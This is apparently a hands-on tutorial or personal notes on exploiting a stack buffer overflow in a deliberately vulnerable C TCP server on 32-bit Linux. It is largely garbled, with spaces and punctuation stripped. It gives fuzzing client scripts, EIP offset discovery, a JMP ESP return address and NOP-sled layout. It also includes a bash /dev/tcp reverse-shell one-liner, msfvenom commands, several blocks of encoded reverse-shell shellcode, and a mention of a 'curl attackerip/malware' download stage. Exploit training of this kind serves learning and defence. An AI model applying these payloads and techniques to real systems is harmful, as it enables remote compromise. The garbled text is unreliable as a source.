Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB
compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor
gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337
OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere
GDBCheatSheet
httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype
run1337
NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways
1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly
2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint
WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130
AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30
bufferappend(Acounter)counter=counter+200
forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)
ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)
MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize
DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100
MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger
print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes
forstringinMESSAGE
defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw
print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)
sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver
HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos
ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters
WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks
Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550
Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)
LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo
EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368
LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened
ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway
WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther
python-cprintx41366+x42366+x43184+x4462+x4562+x4662
AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer
Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip
python-cprintx411000+x4225+x4325+x4425+x4525
That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere
up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that
mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos
python-cprintx411000+x4225+x438+x448+x459
Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers
are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens
python-cprintx411000+x4225+x438+x448+x454+x464
Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore
onestepaway
python-cprintx411000+x4225+x438+x447+x454+x464
BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer
Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the
crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to
find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer
to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because
Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from
right-to-leftrelativetotheorderyousuppliedthedata
FindingInstructionPointerthefastway
Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your
taught to use this program without learning the manual way then you may not understand what and why exactly you are using the
program
httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb
Soourfuzzertoldusthecrashhappenedatapproximately1100bytes
rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb
rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100
This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this
command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers
and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb
outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP
Example
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0
Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6
Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7
Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1
Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2
Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf
4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk
YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236
Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP
value
usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236
Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis
python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample
Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands
Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a
bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode
python-cprintx901040+x454+x904
Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs
Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect
thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545
MESSAGE=x901040+x454+x901000
Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly
x45454545
Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our
NOPSletsruntheattackwiththefollowinglogicintheclientpy
MESSAGE=x901040+x454+x901000
Letrsquosswitchsomethingsupandtryanewdebuggerhellip
1 Server1337
2 Fromterminal2rarredb
3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo
4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)
5 UpdateyourclientPoCcode
6 pythonclientPoCpy1337
CodeChanges
malware=(x41100)
eip=x424
ending=x90200
nopsled=(x90(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly
Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand
corner
Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points
to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At
memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware
Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump
intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor
aJMPESPopcodetofindamemorylocationwiththatinstruction
1 runthevulnerableserver
2 startupedbdebuggerandattackthevulnerableserver
3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP
4 Manuallysearchthrougheachloadedbinaryandclicksearch
0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU
tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder
So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the
futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun
Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow
binsh-igtampdevtcp12700144440gtamp1
Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in
one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It
lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)
The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate
a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and
not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there
isanaddedlayerofcomplexity
LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes
ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs
NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general
sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as
register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often
abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine
codeinstructionsrdquo
So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But
when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing
the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work
helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos
So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters
commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it
any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the
registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip
PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip
binsh-igtampdevtcp12700144440gtamp1
encodesto
x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x
2fx34x34x34x34x20x30x3ex26x31
Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly
from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a
simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX
To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86
encodedcommandthatthekernelcaninterpret
binsh-igtampdevtcp12700144440gtamp1
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
x86encodedShellCode
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01
xd8x7dxf3xdcx9b
TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully
understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally
worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders
- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform
- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina
singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos
ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is
malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced
- f=formathellipThatcanberawCJSPshelletcetc
- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore
- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere
Wheredoweputourmalware
While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the
clientpyscriptputtingthemalwarebeforeEIPlookslikethis
NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS
Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is
important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left
manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior
because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory
address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and
unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto
HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow
malware=x41x30
eip=x97xcfxfaxb7
eip=x41x41x41x41
ending=x90200
nopsled=(x41(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then
look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote
with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register
pointertojumpintothenopsled
One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that
specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that
can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out
bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo
for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell
codeaftertheEIPsowecanjumpintoESP
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip
x86encodedShellCodewBadCharacters(Fornextsection)
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01
xd8x7dxf3xdcx9bx00x00
Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade
UpdatedclientpyCodewiththeldquoBadCharactercoderdquo
Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the
clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and
overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a
connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection
willfail
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or
WHOIScommandsLetrsquosinvestigate
1 RightclickEIPinRegisterWindowsrarrFollowinDump
2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending
3 Lookforx00commandsandtrytonoticeanythingorstrange
WhattheTargetMachineSees
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
